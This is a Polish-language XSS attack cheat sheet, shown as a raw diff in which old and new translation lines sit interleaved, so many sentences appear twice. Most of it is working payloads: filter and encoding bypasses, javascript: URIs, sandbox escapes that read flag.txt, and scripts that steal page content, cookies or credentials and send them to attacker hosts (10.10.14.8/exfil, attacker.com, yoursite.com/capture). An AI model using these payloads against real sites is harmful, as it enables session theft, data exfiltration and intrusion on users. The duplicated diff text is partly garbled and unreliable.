Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **utworzyć tag niestandardowy** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć adres URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **utworzyć tag niestandardowy** i wykonać kod JS za pomocą atrybutu `onfocus`. W żądaniu XSS musisz zakończyć adres URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -245,14 +245,14 @@ Jeśli do wykorzystania podatności potrzebujesz, aby **użytkownik kliknął li
### Niemożliwe - Wiszące znaczniki
Jeśli uważasz, że **niemożliwe jest stworzenie znacznika HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Wiszące znaczniki**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Wiszące znaczniki**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
## Wstrzykiwanie wewnątrz znacznika HTML
## Wstrzykiwanie wewnątrz tagu HTML
### Wewnątrz znacznika/ucieczka z wartości atrybutu
### Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś **wewnątrz znacznika HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzednim rozdziale](./#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku takiego jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu_):
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzednim rozdziale](./#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku, jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -269,12 +269,12 @@ Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz t
```
### Wewnątrz atrybutu
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie można użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono arbitralny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie można użyć protokołu `javascript:` do wykonania arbitralnego kodu: **`href="javascript:alert(1)"`**
**Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonania**. Dlatego coś takiego jak poniżej będzie ważne (payload jest wytłuszczony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Wróć </a>`
Zakodowane znaki **HTML wewnątrz wartości atrybutów tagów HTML są dekodowane w czasie wykonania**. Dlatego coś takiego jak poniżej będzie ważne (payload jest wytłuszczony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Wróć </a>`
Zauważ, że **każdy rodzaj kodowania HTML jest ważny**:
```javascript
@ -305,7 +305,7 @@ Zauważ, że **każdy rodzaj kodowania HTML jest ważny**:
```
### Specjalne protokoły wewnątrz atrybutu
W niektórych miejscach można użyć protokołów **`javascript:`** lub **`data:`** do **wykonania arbitralnego kodu JS**. Wymaga to interakcji użytkownika w niektórych przypadkach, a w innych nie.
W niektórych miejscach można użyć protokołów **`javascript:`** lub **`data:`** do **wykonania arbitralnego kodu JS**. W niektóre przypadkach będzie wymagana interakcja użytkownika, a w niektórych nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -327,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Miejsca, w których można wstrzyknąć te protokoły**
**Ogólnie** protokół `javascript:` można **użyć w dowolnym znaczniku akceptującym atrybut `href`** oraz w **większości** znaczników akceptujących atrybut **`src`** (ale nie `<img`)
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu akceptującym atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,7 +359,7 @@ Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Zauważ, że jeśli spróbujesz **użyć zarówno** `URLencode + HTMLencode` w dowolnej kolejności do zakodowania **payloadu**, to **nie zadziała**, ale możesz je **mieszać wewnątrz payloadu**.
Zauważ, że jeśli spróbujesz **użyć jednocześnie** `URLencode + HTMLencode` w dowolnej kolejności do zakodowania **payloadu**, to **nie zadziała**, ale możesz je **mieszać wewnątrz payloadu**.
**Używanie kodowania szesnastkowego i ósemkowego z `javascript:`**
@ -375,20 +375,20 @@ Możesz użyć kodowania **szesnastkowego** i **ósemkowego** wewnątrz atrybutu
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Odwrócenie uwagi nabijania
### Odwrócone przejęcie karty (Reverse tab nabbing)
```javascript
<a target="_blank" rel="opener"
```
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
Jeśli możesz wstrzyknąć dowolny URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### na Bypassach Obsługujących Zdarzenia
### Bypass na Event Handlers
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" event handlers**.\
W przypadku istnienia czarnej listy uniemożliwiającej tworzenie tych obsług zdarzeń, możesz spróbować następujących bypassów:
W przypadku, gdy istnieje czarna lista uniemożliwiająca tworzenie tych event handlerów, możesz spróbować następujących bypassów:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -418,15 +418,15 @@ A w **meta tagach**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **payload XSS wewnątrz atrybutu ukrytego**, pod warunkiem, że **przekonasz** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload wewnątrz atrybutu ukrytego**, pod warunkiem, że uda ci się **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox na Windowsie/Linuxie kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
### Ominięcie czarnej listy
### Ominięcia czarnej listy
W tej sekcji już przedstawiono kilka sztuczek związanych z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
W tej sekcji już przedstawiono kilka sztuczek z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
* **Kodowania HTML (tagi HTML)**
* **Kodowania Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
@ -446,9 +446,9 @@ Przeczytaj [Ominięcia czarnej listy JavaScript z następnej sekcji](./#javascri
Jeśli znalazłeś **XSS w bardzo małej części** strony internetowej, która wymaga pewnego rodzaju interakcji (może to być mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zwiększyć szanse na wywołanie linku.
Na przykład, możesz dodać stylowanie do elementu takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Na przykład, możesz dodać stylowanie do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Jeśli jednak WAF filtrowanie atrybut stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład
> .test {display:block; color: blue; width: 100%\}
@ -464,11 +464,11 @@ Ten trik został zaczerpnięty z [https://medium.com/@skavans\_/improving-the-im
## Wstrzykiwanie wewnątrz kodu JavaScript
W tych przypadkach **twój input** będzie **odzwierciedlany wewnątrz kodu JS** pliku `.js` lub między tagami `<script>...</script>` lub między zdarzeniami HTML, które mogą wykonywać kod JS lub między atrybutami akceptującymi protokół `javascript:`.
W tych przypadkach **twój input** będzie **odzwierciedlany wewnątrz kodu JS** pliku `.js` lub między tagami `<script>...</script>` lub między zdarzeniami HTML, które mogą wykonać kod JS lub między atrybutami akceptującymi protokół `javascript:`.
### Ucieczka przed tagiem \<script>
Jeśli twój kod jest wstawiany między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uciec zamykając tag `<script>`**:
Jeśli twój kod jest wstawiany między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uciec zamykającemu tagowi `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -476,7 +476,7 @@ Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysło
### Wewnątrz kodu JS
Jeśli `<>` są oczyszczane, nadal możesz **wyjść ze stringa** tam, gdzie znajduje się **twoje wejście** i **wykonać dowolny JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
Jeśli `<>` są oczyszczane, nadal możesz **wyjść z ciągu znaków** tam, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ w przypadku jakichkolwiek błędów kod JS nie zostanie wykonany:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -484,9 +484,8 @@ Jeśli `<>` są oczyszczane, nadal możesz **wyjść ze stringa** tam, gdzie zna
```
### Szablony literałów \`\`
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.
Dlatego jeśli zauważysz, że twoje dane wejściowe są **odbijane** wewnątrz ciągu znaków JS, który używa backticków, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.\
Dlatego jeśli zauważysz, że twoje dane wejściowe są **odbijane** wewnątrz ciągu znaków JS korzystającego z backticks, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
Można to **wykorzystać** za pomocą:
```javascript
@ -558,7 +557,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nowe linie JavaScript (z** [**sztuczka z nową linią w JavaScript**](./#javascript-new-lines) **)**
**Nowe linie JavaScript (z triku** [**Nowa linia w JavaScript**](./#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -730,8 +729,8 @@ top[8680439..toString(30)](1)
````
## **Luki w DOM**
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania arbitralnego kodu JS.\
**Ze względu na rozszerzenie wyjaśnień na temat** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
Istnieje **kod JS**, który używa **niebezpiecznie kontrolowanych przez atakującego danych**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania arbitralnego kodu JS.\
**Ze względu na rozszerzenie wyjaśnienia** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -744,7 +743,7 @@ Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśni
### Znormalizowany Unicode
Możesz sprawdzić, czy **odbijane wartości****znormalizowane pod kątem Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
Możesz sprawdzić, czy **odbijane wartości****znormalizowane do unicode'a** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
### Bypass flagi PHP FILTER\_VALIDATE\_EMAIL
```javascript
@ -752,7 +751,7 @@ Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane pod kątem U
```
### Pominięcie w Ruby-On-Rails
Ze względu na **masowe przypisanie w RoR**, cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
Ze względu na cytaty **masowego przypisania w RoR** są wstawiane do HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -791,19 +790,18 @@ Para "Klucz","Wartość" zostanie odesłane w ten sposób:
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
### XSS z wstrzykiwaniem nagłówka w odpowiedzi 302
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript** przez przeglądarkę. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload cross-site scripting jest bezużyteczny.
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów w nagłówku Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload cross-site scripting jest bezużyteczny.
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów w nagłówku Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.\
Znane protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Lokalizacja_, `resource://`.
### Tylko litery, cyfry i kropki
### Tylko Litery, Cyfry i Kropki
Jeśli jesteś w stanie wskazać **wywołanie zwrotne**, które ma zostać **wykonane** przez JavaScript ograniczone do tych znaków, [**przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak wykorzystać to zachowanie.
Jeśli jesteś w stanie wskazać **wywołanie zwrotne**, które ma zostać **wykonane** przez JavaScript ograniczone do tych znaków. [**Przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak wykorzystać to zachowanie.
### Poprawne typy zawartości `<script>` do XSS
### Dopuszczalne typy zawartości `<script>` do XSS
(Z [**tego źródła**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **typem zawartości** takim jak `application/octet-stream`, Chrome wyświetli następujący błąd:
@ -885,7 +883,7 @@ To zachowanie zostało wykorzystane w [**tym rozwiązaniu**](https://github.com/
}
</script>
```
### Typy zawartości sieciowej do XSS
### Typy zawartości sieci Web do XSS
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonać XSS we wszystkich przeglądarkach:
@ -898,7 +896,7 @@ To zachowanie zostało wykorzystane w [**tym rozwiązaniu**](https://github.com/
* application/rss+xml (wyłączone)
* application/atom+xml (wyłączone)
W innych przeglądarkach inne **`Content-Types`** mogą być używane do wykonania arbitralnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
W innych przeglądarkach inne **`Typy zawartości`** mogą być używane do wykonania arbitralnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### Typ zawartości xml
@ -924,7 +922,7 @@ Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
### Ucieczka z więzienia XS
Jeśli masz do dyspozycji ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów z XSJail:
Jeśli masz do dyspozycji ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów związanych z XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -955,7 +953,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), można generować przydatne obiekty "z niczego", aby nadużyć wykonania dowolnego niezaufanego kodu:
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), można generować przydatne obiekty "z niczego", aby nadużyć wykonanie arbitralnego niezaufanego kodu:
* Korzystając z import()
```javascript
@ -964,7 +962,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Dostęp do `require` pośrednio
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js w funkcję, tak jak tutaj:
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js wewnątrz funkcji, tak jak tutaj:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -976,9 +974,7 @@ Dlatego jeśli z tego modułu możemy **wywołać inną funkcję**, można uży
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
{% endcode %}
Podobnie jak w poprzednim przykładzie, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
W podobny sposób do poprzedniego przykładu, można **wykorzystać obsługę błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
```javascript
try {
null.f()
@ -1050,7 +1046,7 @@ trigger()
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## Typowe ładunki XSS
## Powszechne ładunki XSS
### Kilka ładunków w 1
@ -1084,7 +1080,7 @@ trigger()
Nie będziesz mógł uzyskać dostępu do plików cookie za pomocą JavaScript, jeśli flaga HTTPOnly jest ustawiona w pliku cookie. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/#httponly), jeśli masz wystarczająco dużo szczęścia.
{% endhint %}
### Kradzież zawartości strony
### Ukradnij zawartość strony
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
@ -1097,7 +1093,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true);
xhr.send(null);
```
### Znajdowanie wewnętrznych adresów IP
### Znajdź wewnętrzne adresy IP
```html
<script>
var q = []
@ -1143,7 +1139,7 @@ q.shift()();
}
</script>
```
### Skaner portów (pobieranie)
### Skaner portów (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1164,7 +1160,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują brak odpowiedzi._
Sprawdź listę zablokowanych portów w przeglądarce Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w przeglądarce Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Zrecenzuj listę zablokowanych portów w przeglądarce Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w przeglądarce Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Pole do wprowadzenia danych uwierzytelniających
```markup
@ -1273,7 +1269,7 @@ Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Dostęp do ukrytej zawartości
### Regex - Dostęp do Ukrytej Zawartości
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, po usunięciu wartości wejścia REGEX, wciąż można ją znaleźć.
```javascript
@ -1306,16 +1302,16 @@ Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może
### XSS do SSRF
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez Wstrzyknięcie Include Edge Side za pomocą tego ładunku:
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez Wstrzyknięcie Include Edge Side za pomocą tego payloadu:
```python
<esi:include src="http://yoursite.com/capture" />
```
Użyj tego do ominięcia ograniczeń plików cookie, filtrów XSS i wiele więcej!\
Użyj go do ominięcia ograniczeń plików cookie, filtrów XSS i wiele więcej!\
Więcej informacji na temat tej techniki znajdziesz tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS w dynamicznie tworzonych plikach PDF
Jeśli strona internetowa tworzy plik PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy plik PDF, aby **wykonał dowolny kod JS**.\
Jeśli strona internetowa tworzy plik PDF przy użyciu kontrolowanego przez użytkownika wejścia, możesz spróbować **oszukać bota**, który tworzy plik PDF, aby **wykonał dowolny kod JS**.\
Jeśli **bot tworzący PDF znajdzie** jakieś rodzaje **tagów HTML**, będzie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -1330,15 +1326,15 @@ Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować **wstrzyknąć da
### XSS w Amp4Email
AMP, mający na celu przyspieszenie wydajności strony internetowej na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione o JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów do różnych funkcji, dostępnych za pośrednictwem [komponentów AMP](https://amp.dev/documentation/components/?format=websites).
AMP, mający na celu przyspieszenie wydajności strony internetowej na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów do różnych funkcji, dostępnych za pośrednictwem [komponentów AMP](https://amp.dev/documentation/components/?format=websites).
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza konkretne komponenty AMP na maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w swoich mailach.
Przykładowy [**opis XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Przykładowy [**opis XSS w Amp4Email w Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS wgrywający pliki (svg)
Wgraj jako obraz plik podobny do poniższego (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Wgraj jako obraz plik jak poniższy (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1410,9 +1406,9 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera w hakerstwie** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwego - **rekrutujemy!** (_wymagany płynny polski w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}